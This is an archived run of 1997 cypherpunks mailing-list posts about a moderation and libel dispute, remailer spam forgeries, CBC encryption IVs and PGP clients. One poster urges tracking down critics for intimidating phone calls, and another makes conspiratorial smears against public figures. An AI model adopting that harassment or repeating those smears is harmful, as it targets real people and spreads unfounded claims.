 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 8 Feb 1997 02:29:34 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03
In-Reply-To: <19970207180418.28980.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970208051537.26495G-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 7 Feb 1997, lcs Remailer Administrator wrote:

> aga <aga@dhp.com> writes:
> 
> > Who attacked the network and for what reason?
> 
> Well, as best I can tell I've gotten caught in the crossfire of a
> spam/"anti-spam" spam war.  People are forging articles through
> anonymous remailers to solicit spam to non-spamming customers of
> "spam-friendly" ISPs, in the hopes of driving those customers away.
> In other words, a lot of articles are being posted to groups like
> alt.make.money.fast with headers like:
> 
>  From: customer@isp.under.attack (My^ISP^spams^I^should^switch)
> 
> Then the spam bots collect the addresses, and send lots of mail like
> 
>  To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
>  Subject: Great opportunity!!!
> 
>  My^ISP^spams^I^should^switch,
> 
>  I saw your post the other day, and have an oportunity for you that's
>  so good you can't miss it...
> 
> It would be amusing if it weren't causing me hassles.  Ultimately,
> however, the person doing this is clearly trying to get ISPs to set
> more restrictive policies about what mail/news customers can send,

Well, that is bullshit, and that person needs to be stopped.  Anyone
trying to get more restrictive policies needs weeded out and
identified, and then dealt with.

> while knocking off a few anonymous remailers and mail2news gateways in
> the process.
> 
> > Well, just who is cutting you off and for what reason?
> > And what is their telephone number?
> 
> At issue here are a number of complicated high-level administrative
> issues.  It's not just that someone is trying to pull the plug on me.
> I've been asked by someone who is not the one getting the phone calls
> or exerting anti-mail2news pressure if I would stop using MIT news
> servers.  The reason is that that person needs to maintain good
> relations with the people who are being harassed over the fogery.
> 

Just who is getting harassed over this.  All you need to do is get me
the names and phone numbers, and we will eliminate this problem
immediately. 

> I don't really want to go into details.  

No, do not do it in this list, but respond by a private response
to this address.  This is a place you can trust.

The point is that this
> situation is a lot more subtle than whether the pro-mail2news people
> can "out-harrass" the people complaining about forgeries.  Therefore,
> I would sincerely appreciate it if you did not try to make any phone
> calls or do anything to use up any more of these people's time.

Well, it sounds like you are being a chicken shit now.  The whole
world runs on the telephone, and it all runs by voice, and not by
text.

  I
> fully intend to keep mail2news running, and am just trying to get more
> news servers (after having lost one) to maintain reliability and
> strengthen my position.
> 
> > Just what is your definition of "abuse?"
> 
> This got answered in a separate message.
> 

yes it did.  But why the fuck do you not want to find out who did
this to you?  I mean, Jesus fucking CHRIST!  Let's get some fucking
balls here.  You can not let that mothetfucker get away with that!

All you need is telephone numbers for some VERY nice phone calls.
Learn to use your voice and not just your keyboard.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 21:38:16 -0800 (PST)
To: sandfort@crl.com
Subject: Re: The Frightening Dangers of Moderation
Message-ID: <19970208053809.5070.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> Date: Fri, 7 Feb 1997 20:54:05 -0800 (PST)
> From: Sandy Sandfort <sandfort@crl.com>
> 
> Sir,

Please don't assume anything about my sex.  Do you think only men know
how to use nym servers?

> I asked you to keep our communications private.  You did not do
> so.  I have nothing further to say to you.

I understand your desire to keep this secret.  Believe me, I know this
must be an unpleasant situation for you.

Nonetheless, I believe this issue is so important and relevant to the
cypherpunks community that it outweighs your wish to keep it a secret.

I respect the difficulty of your situation, and would not try to air
this issue if I did not think exposing it immediately was of the
utmost importance.

Please, try to see this from as disinterested a point of view as
possible.  I know it's difficult being both the moderator and one of
the parties involved in the dispute.  However, we have a situation
here where threats of libel have suppressed not only technical
discussion of the actual software in question (which actually wouldn't
be much of a discussion), but even discussion on the mechanics of
moderation, something highly relevant to the list.  Worse yet, people
subscribed to the list DON'T EVEN KNOW that this discussion is being
suppressed.

We need to get this issue out, even if only in part.  If my article
was unacceptable, can you at least tell me which parts I should
eliminate.  I am willing to censor as much of it as I need to to get
it published, as long as my main point gets accross.  Surely you must
agree that my main point doesn't have anything to do with the piece of
software involved, right?  Has it really come down to a situation
where even the *fact* that some articles are being suppressed must be
suppressed?

Please.  Think of the purpose of cypherpunks.  Do the right thing.  I
am flexible.  I will edit my article even more.  But please, tell me
what I can do to get it onto the main list.  People need to know what
is happening.  I append my article here once again.  If you really
cannot accept it, at least tell me what I can change to get it
accepted.

Thank you.

- --

To: cypherpunks@toad.com
CC: tcmay@got.net
Subject: The Frightening Dangers of Moderation

Well, folks, tonight I have witnessed the frightening dangers of
moderation and censorship first-hand, and would like to tell you what
has happened.  I think there is an important lesson to be learned from
these incidents.

Before I explain what has happened, I want to make one thing
absolutely clear.  Though I've thought the moderation of cypherpunks
was a terrible idea from the start and am even more convinced of it
now, I don't assign any blame to Sandy.  I believe he offered to
moderate the list with the best of intentions, and I sincerely
appreciate his efforts to try to revive what was once a fantastic
mailing list, even if in my opinion those efforts have backfired.

Sandy has been a valuable advocate of cypherpunk beliefs and a lively
contributor to cypherpunks list for a long time.  Though the
moderation experiment has resulted in some terrible consequences, we
can't blame him for what has happened.  If the events I have witnessed
tonight occured with such a high-standing member of the cypherpunks
community in charge, the cause of them can only be the very nature of
moderation and censorship.  I don't think any of us could have done
much better in Sandy's shoes.

Now, what happened tonight?  As some of you may recall, a month or so
ago I vehemently argued against the elimination of the
cypherpunks-unedited mailingt list.  Some people (though no one
associated with toad.com) were claiming that 3 mailing lists might be
too much load, and that having cypherpunks and cypherpunks-flames
would be enough.  I argued that not only would the delay of waiting
for a decision put alternate cypherpunks moderators at a disadvantage,
it would make it farm more difficult to convince people of the
moderator's honesty as there would be no guarantee that messages made
it to either list.  Fortunately, cypherpunks-unedited did get created
(it seems no one "in charge" ever intended not to create it).

Well, as it turns out, a number of messages have made it neither to
cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
not only are certain messages being suppressed from both lists, but
even messages mentioning that fact get suppressed from both the
cypherpunks and the cypherpunks-flames lists!

Here's exactly what happened.  I was beginning to believe that Dmitri
Vulis had sent an (admitedly objectionable) message to the cypherpunks
mailing list, but that the message had gone to neither the cypherpunks
nor the cypherpunks-flames lists.  Since I was under the impression
that every article was supposed to go to one list or the other, and
many people probably still believe that, I mentioned this somewhat
startling fact on the cypherpunks mailing list, I believe in response
to a post by Tim May on the same subject.

Tim replied (in a message Cc'ed to cypherpunks--though I don't think
it went anywhere but to -unedited), asking me in the message, "Can you
send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS
OREDCENSOREDCENSORE?"  I therefore went back through my mail archives
and found a copy of the message that I believed had gone to neither
mailing list.  I sent it to Tim and to cypherpunks.  I prepended a few
paragraphs in which I asked people to confirm that the message had
gone to neither mailing list.  Among other things in those paragraphs,
I stated that Vulis's message was "verifiably false".  It was clear
from the context that I was forwarding this message to ask people
which lists it had gone to, not because I believed the content to be
correct or even at all convincing or interesting.  That message I
sent, quoting Vulis's, immediately follows this message, after the
line '========'.

Then, tonight, I received a message from Sandy, which I include below
a second '========' marker.  In that letter, Sandy had explicitly
aknowledged not only that he had sent Vulis's letter to neither
mailing list, but that he wouldn't send my letter to either mailing
list, either!  He claimed that he couldn't forward Vulis's message
because it was libel, and accused me of committing libel simply by
quoting Vulis's message, even though I explicitly stated that Vulis's
message was verifiably false.

Well, this travesty must exposed, even if I can't make known all the
details for fear of libel charges.  I am therefore forwarding
everything I can to the cypherpunks mailing list, for all to see.  As
you can see, Vulis made unfounded and incorrect charges that a
particular system contained a security hole.  Believe me, if I could
get into the details of the case I could convince you easily that his
claim is not true.  However, since even quoting that claim apparently
opens me up to charges of libel, I can't give you the details.  Thus,
I have censored (by overriting original text with the letters
CENSORED) any portion of quoted messages that might give you an
indication of what system Vulis actually claimed had a security hole.

This censorship should not, however, affect my main point, and the
lesson that I hope we can all take away from this.  When it comes down
to it, the details of this case do not matter.  What does matter is
that even when the "good guys" attempt benign censorship, it can have
frighteningly far-reaching effects on people's ability to discuss
otherwise reasonable topics such as the mechanics of the cypherpunks
list.  I generally dislike censorship and moderation, but the
consequences of the cypherpunks experiment have gone far beyond
anything I could have imagined.

In closing, let me reiterate that I don't think most of this is
Sandy's, John's, or anyone else's fault.  Given the knowledge I have
of this case, I believe Sandy has unwittingly found himself ensnarled
in a nasty legal situation where, for fear of legal reprisal he must
block articles that he has a moral obligation to send to
cypherpunks-flames.  I certainly don't envy his position.

[To moderator Sandy:  I believe we must get the content of this
message to the main cypherpunks mailing list.  I have done everything
I can to ensure that the message contains no libel.  If, for some
reason, you still can't send it on to the main cypherpunks mailing
list, can you please tell me specifically which parts cause problems.
I will the CENSOR them out and try again.  This message contains
important, highly relevant information for the cypherpunks community.
Please help me do what it takes to get it accepted by the moderation
process.  Thanks.]

========

To: tcmay@got.net
CC: cypherpunks@toad.com
Chain: nym=antimod
In-reply-to: <v03007802af21505d61f5@[207.167.93.63]> (tcmay@got.net)
Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC?

Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (CENSOREDCENSOREDC
ENSOREDCENSOREDCE), I can see people arguing it should have gone to
- -flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

- --

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS
OREDCENSOREDCENSOREDCEN.  It's actually a hacked-up version of CENSOR with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
CENSOREDCENS. 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

- ---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

========

X-From: sandfort@crl.com Sat Feb 08 00:56:23 1997
Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST)
From: Sandy Sandfort <sandfort@crl.com>
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hi,

On 7 Feb 1997, Against Moderation wrote:

> What I object to more strongly and think is wrong is the
> fact that it went to *neither* list.

Unfortunately, it's not as simple as that.  As soon as I can
arrange it with John, I am going to stop moderating the list.
In the interim, I *will not* be sending your post onto either
the Flames or the Moderated lists.  This is done for legal 
reason.  As it is, you have already published a libel on the
unedited list by repeating Dimitri's libel.  This exposes you to
legal liability, but as an anonymous poster, you are somewhat
insulated from the consequences of your act.

If you would like to PRIVATELY discuss this matter with me, I
would not mind going into more detail with you.  Suffice it to 
say, I any re-publication by me of Dimitri's libel would expose
John and myself to legal liability and could also act to 
insulate Dimitri from liability as a result of CENSOREDCENSOREDCE
NSOREDCENDOREDCENDOREDC.

Take care,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

========


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Fri, 7 Feb 1997 21:49:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless?
In-Reply-To: <199702071941.LAA29283@toad.com>
Message-ID: <5dh45q$mqh@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702071941.LAA29283@toad.com>,
Peter Trei  <trei@ziplink.net> wrote:
>The purpose of an IV is to make dictionary and replay attacks more
>difficult. It is not intended to prevent brute force attacks, and so
>is _normally_ included in the clear in communications protocols (for
>example, see RFC 1827 for it's clear transmission in IPSEC). If it
>is not included, it is effectively part of the keying material, and
>thus adds it's bits to the strength of the key. As such, its value
>would have to be transmitted and protected as carefully as the rest of
>the key.  

This is a common mistake.  Just use the first block of ciphertext as the IV,
and start decrypting from the second block.  Let's say you discover that
key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...),
using C1 as the IV.  What could P1 have been?  Well, we know that
(if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so
IV^P1 = D_K[C1].  But we now have what is effectively a one-time pad
situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the
ciphertext.  Thus, if you don't know the IV in a CBC situation, you can
still recover all of the plaintext starting at the second block with
the same amount of work it would have taken to have recovered the whole
plaintext, given the IV (the IV does not in fact add its bits to the
strength of the key), but you learn nothing about the first block
(unless something about the protocol gives you a clue based on your knowledge
of subsequent blocks).

Disclaimer: I've been having a rough week...

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 01:29:08 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: faulty moderation software: duplicate messages
In-Reply-To: <Pine.LNX.3.95.970207175220.1844A-100000@purple.voicenet.com>
Message-ID: <199702080928.CAA23787@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:1759 "Mark M." <markm@voicenet.com> said:

+All messages with "Sender: owner-cypherpunks-unedited@toad.com" are
+received from the flames list.  The difference between the unedited and
+moderated lists is that the moderated list changes the message ID,
+appending toad.com, and deletes all received headers before
+"majordom@localhost.*by toad.com".  None of the messages are being
+doubled; this is just the result of buggy software

    if you receive both the unedited and the censored plus flames, each 
    message should be doubled --unedited sends all messages, but fails 
    to always mark them in sender -basically, you need to key on the 
    fact the Message-ID is NOT ....@toad.com for the unedited file

    no, I dont have a problem with that, it is just stupid on toad's 
    part (John?) to not correctly identify the pass through messages 
    with 'Sender: owner-cypherpunks-unedited@toad.com'  --a few are, 
    but the vast majority are still shipped out as 'Sender: 
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed 
    out in my original post). to me that is piss poor list management.

    unfortunately, I can not use procmail at this point on my mail 
    reader platform, but the internal filters are multilevel and do 
    allow enough flexibility. I use procmail extensively on my host for 
    autobots, spam filtering, objectional posters filtering, etc. 

    I think you  probably have an error in your procmail script as to 
    sending 'unedited' to flames. the theory stated is:
    
        mainline (censored) + flames == unedited

    but I will not test it since I prefer to read/respond off line with 
    MR/2 than Pine online. I will request Nick Knight for the 
    construction of his folders (except he has no lock mechanism) and I 
    might write a PPP POP3 mail recovery program, pass it through 
    procmail which passes it to a function to write it to MR/2's 
    folders.

        however you slice it, censorship on a freedom of speech list     
    just does not make it and we make fools of ourselves if we think 
    otherwise.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 08:34:21 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
In-Reply-To: <199702080427.UAA04975@f29.hotmail.com>
Message-ID: <32FCAAB0.292D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> What else do I need for an internet server?
> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> speed hard drives.  These are the Tall Towers that have multiple
> drives, these are server towers.
> I think I have a router Hub.  And a couple LAN cards.
> That's all I have.  But I just got them, and I want to use them.  I assume I
> will be using some kind of UNIX software.

HP does some strange things to their BIOS software - you may want to
get one of those net analyzer tools and some low-level software that
can monitor what your HP's are sending and receiving, just in case.

They don't normally use Vectras for UNIX, so what effects you can
expect, I don't know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Sears <jsears@lsbsdi2.lightspeed.net>
Date: Sat, 8 Feb 1997 08:33:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: hello
Message-ID: <1.5.4.32.19970208163909.0068d200@mail.lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain


unscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 08:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <Pine.LNX.3.95.970208063649.28912D-100000@dhp.com>
Message-ID: <32FCAFCD.A24@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


??? wrote:

[some text deleted]

> > Before I explain what has happened, I want to make one thing
> > absolutely clear.  Though I've thought the moderation of cypherpunks
> > was a terrible idea from the start and am even more convinced of it
> > now, I don't assign any blame to Sandy.  I believe he offered to
> > moderate the list with the best of intentions, and I sincerely
> > appreciate his efforts to try to revive what was once a fantastic
> > mailing list, even if in my opinion those efforts have backfired.

This is the fatal mistake, assuming it's really a mistake.
I've worked under several corporations where, at a certain
point in time, things just "went crazy", and the owners/
managers were scrambling desperately to plug as many holes
in the dike as they possibly could, to no avail.

People don't understand why things just "go crazy" at a particular
point, and so they accept the coincidence theory ruse, lacking any
other evidence.  Use your head, folks.  This is not a list made up
of sewing-circle nannies, these are security people, NSA, CIA, and
all the ugly things you shut out of your conversations because you
don't want to admit the truth.  "Paranoia is a way of knowing".

Today I saw an old picture of Albert Einstein in full Indian regalia,
smoking a peace pipe with some Hopi people.  I thought of the Capone
mob and the "kiss of death", or Judas and Jesus, you get the picture.

So Einstein puts his name and reputation and personal seal of approval
on the creation of the Doomsday Device, the atom bomb, knowing full
well that it will be used to murder millions of people. What does he
do for an encore?  Plants the "kiss of death" on the Hopis, whose
environment is co-opted by the mad bombers and their Nazi-infested
thug "scientist" cohorts, for the experimentation and storage of
nuclear and other hazardous materials.  You know, Nevada, Arizona,
New Mexico, all those "useless, desert lands" occupied by the
Indians.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 8 Feb 1997 08:59:36 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
In-Reply-To: <199702080425.UAA08800@toad.com>
Message-ID: <3.0.1.32.19970208085517.02d211a8@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 2/6/97 -0800, Anil Das wrote:

>    However, the question has to be asked, why the fuck should we non US
citizens go and buy
>    cryptographic software that is deliberately coded to allow the US
government to read our mail? 

You shouldn't.

Maybe someone should print up a batch of "Voyeur Enabled" stickers for all
the GAKed products  (or should that be KRAP products, since it is the Key
Recovery Alliance, but that is redundant) we will be seeing at our local
software stores.

Sometimes I think the reason for all this snake oil we have been seeing is
the Feds need it for extra lubricant so they don't chafe themselves while
getting off on reading our mail.

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internet  Alert!    Pay for local dial-up??
In-Reply-To: <199702080516.AAA11248@alberta.sallynet.com>
Message-ID: <32FCB34A.7FBE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail Communications wrote:

> See our "Patriotic Quotes That Make Sense"
> at the end of this publication.

> "We will always remember.  We will always be proud.  We will
> always be prepared, so we may always be free."
> -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

What Ronald Reagan didn't say (but what he really meant):

"I come here to Bitburg to honor the fallen Nazis, because I am in
fact an honorary Nazi myself. Just ask my personal secretary Helen,
who used to work for Fritz Kraemer."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 8 Feb 1997 09:12:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: META: Censorship is Going Way too Far
Message-ID: <v03007800af225b8581dd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Fellow Cypherpunks (of the virtual community, even if not part of any
particular version of the list(s)),


I am about to drive over the Santa Cruz mountains for today's physical
meeting at Stanford, and made my last check of the Singapore archive site
to see if my last several messages to the CP list have appeared. (The
Singapore site archives the main list every four hours; the latest update
is 08:15 PST, local time.)

They have _not_ appeared, on either of the two lists, the main list and
filtered list. I don't know if they have appeared on the "unfiltered" list,
as I don't have access to an archive site for that, and don't subscribe to
it.  Some of these articles are now more than 18 hours old.

(I scanned the archive site carefully and did not see any of my articles.
If I somehow missed them (all four?!), I apologize to the Moderator and
will make an appointment with my eye doctor.)

Further, messages dated _much_ later in time are now on the Singapore site,
meaning they were "approved." (The latest such message I see is from J.
Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after
the first of my messages which never appeared on either the main list or
the flames list.)

My articles are dated:

* 2/7/97, 1:46 p.m. PST

* 2/7/97, 1:59 p.m., PST

* 2/7/97, 3:03 p.m., PST

* 2/7/97, 9:46 p.m., PST

I would normally give the message names here, but I suspect that even
mention of the message titles would cause _this_ message to be filtered
into the black hole  list. So, by avoiding even mention of the message
titles, I should be safe. Nothing in this message can be considered flamish
(beyond normal criticism) or libelous.

(Many articles with dates later than these have already appeared on the
main list, and some have already appeared on the Flames list. Why have none
of my articles gone through as of this morning?)

The subjects of my articles deal with the claims made by "Against
Moderation" and Vulis that certain articles were filtered from the stream
of articles without appearing on either the main list or the flames list,
and with no mention by the Moderator of this significant change to the
moderation policies.

I surmise that my articles are similarly vanishing into a black hole,
presumably because I have questioned the policies here. (Possibly my
articles have been side-tracked for further review, or for review by a
certain company's legal staff, or whatever. If so, this should be explained
to the main list. And the implications of this, if it is happening, should
be discussed on the main list.)

By the way, I will deliberately make no mention of the details of my
articles, or of those by Against Moderation, as I also surmise that any
articles dealing with a certain product by a certain company will be
filtered out completely.

(I carefully did not repeat the claims made against one of these products
in my articles, so there is no way under the sun I can be charged in any
court with "libel.")

To paraphrase the Detweiler of a couple of years ago, "I am quite shocked
by this situation." It is one thing to filter out posts which contain
infantile, barnyard taunts and insults, it is quite another to filter out
_content_.

And it is even worse to not pass on these filtered comments to the "flames"
list, which was putatively set up to contain such comments. Worse still
that the list as a whole is not being told of this policy, and that posts
which mention it are not going out.

(There has been some discussion of articles not going out, such as in Igor
Chudov's recent articles, but I surmise from his article that Igor is
unaware of the filtering I'm talking about here. I am copying Igor on this
message, to ensure he knows at least part of what is going on here.)

There is no justification in any of the stated moderation goals for
blocking articles such as mine, or this one.

As my posts yesterday did not contain flames or insults (beyond normal
minor turns of phrase some might not like, just as _this_ post contains
mildly flamish comments if one is so inclined to see _any_ criticism as
flamish), they should have appeared on the main list. They have not, so
far, even though articles generated many hours later have already appeared
on the main list.

And, as of minutes ago, they have not appeared on the Flames list, even if
the Moderator decided they were flamish. (Even if _one_ was, arguably, not
all of them were.)

So, we are increasingly in a situation where:

a. the moderation policies appear to be changing on a daily basis

b. articles which are not even flamish are being dumped

c. some of these dumped articles are not even appearing on the "Flames" list

d. the appearance of a conflict of interest is increasing

e. discussion is being squelched

I am cc:ing this message to a handful of Cypherpunks to ensure that it gets
some propagation before today's meeting.

I find it very sad that things have come to this.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Sat, 8 Feb 1997 09:44:57 -0800 (PST)
To: dthorn@gte.net
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702081744.JAA12384@f22.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>Otto Matic wrote:
>> What else do I need for an internet server?
>> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
>> speed hard drives.  These are the Tall Towers that have multiple
>> drives, these are server towers.
>> I think I have a router Hub.  And a couple LAN cards.
>> That's all I have.  But I just got them, and I want to use them.  I assume I
>> will be using some kind of UNIX software.
>
>HP does some strange things to their BIOS software - you may want to
>get one of those net analyzer tools and some low-level software that
>can monitor what your HP's are sending and receiving, just in case.
>
>They don't normally use Vectras for UNIX, so what effects you can
>expect, I don't know.
>

Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
guessing.  What I really need is a B.O.M (bill of materials).  What other
'hardware' will I need to round up in order to get this server up and running.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Chou <jchou@cgl.ucsf.edu>
Date: Sat, 8 Feb 1997 10:05:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <v03010d03af227139d79f@[128.218.16.55]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Meanwhile, a beta version of "Pretty Safe Mail"
><http://www.highware.com/highware/PSM/safemail.htm> is available from
>Highware in Belgium.  It's PGP compatible, and its user interface is a
>great leap forward from any Mac PGP front end I've seen.  But, it still
has
>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>discussed on a couple of these lists) its source code hasn't been
published
>or externally audited.

I've been testing Pretty Safe Mail on 68k and PPC platforms, and I
completely agree with you for the 68040 slowness.

But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign
the same document. Highware claims that a faster 68k is in the works.

They've offereed to have PSM externally audited, but I haven't heard of
any volunteers.

Joe




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2, by Pretty Safe Mail 1.0

iQCVAwUBMvzAT7WqygGLsQD9AQF+RwP+IbLejl0wMKQzPJmHbIOann+KUB0zsXps
36bjfsyjIYZwkcbhjqCh2lFpljlmeMMVtPX90bPLRb0J+Bgbmcv7h24BN2Q5sInr
AFFk4ST07uLZ8ICJzwtkHYgNwgMmdba2QeDQ0SZCH8FYMQiLpkf45TTIIger8MXt
Rkkv3V23nts=
=MgGH
-----END PGP SIGNATURE-----

| Joe Chou  <jchou@cgl.ucsf.edu>
| http://devbio-mac1.ucsf.edu/joe.html
| Bargmann Lab, UCSF Department of Biochemistry
| PGP KeyID 0x8BB100FD: at web page or public key servers
| PGP Fingerprint [4194 EBC6 EEB0 7B1A  F18F 2185 D406 EDFF]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 8 Feb 1997 10:10:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <Pine.SUN.3.91.970208094546.2426B-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

